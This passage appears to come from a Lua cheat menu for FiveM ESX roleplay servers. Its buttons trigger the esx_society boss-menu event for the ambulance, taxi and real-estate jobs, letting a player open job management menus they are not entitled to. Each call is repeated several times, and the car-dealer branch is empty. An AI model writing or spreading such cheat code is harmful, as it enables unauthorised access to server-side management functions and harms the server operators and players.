TriggerEvent("esx_society:openBossMenu","ambulance",function(dW,dX)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu",'ambulance',function(dY,dZ)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","ambulance",function(dY,dZ)
xseira.close()
end)
xseira.CloseMenu()
elseif xseira.Button("ESX Taxi Boss Menu") then
TriggerEvent("esx_society:openBossMenu",'taxi',function(dU,dV)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","taxi",function(dU,dV)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu",'taxi',function(dW,dX)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","taxi",function(dW,dX)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu",'taxi',function(dY,dZ)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","taxi",function(dY,dZ)
xseira.close()
end)
xseira.CloseMenu()
elseif xseira.Button("ESX Real Estate Boss Menu") then
TriggerEvent("esx_society:openBossMenu",'realestateagent',function(dU,dV)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","realestateagent",function(dU,dV)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu",'realestateagent',function(dW,dX)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","realestateagent",function(dW,dX)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu",'realestateagent',function(dY,dZ)
xseira.close()
end)
TriggerEvent("esx_society:openBossMenu","realestateagent",function(dY,dZ)
xseira.close()
end)
xseira.CloseMenu()
elseif xseira.Button("ESX Car Dealer Boss Menu") then
end
end
Citizen.Wait(0)
end
end)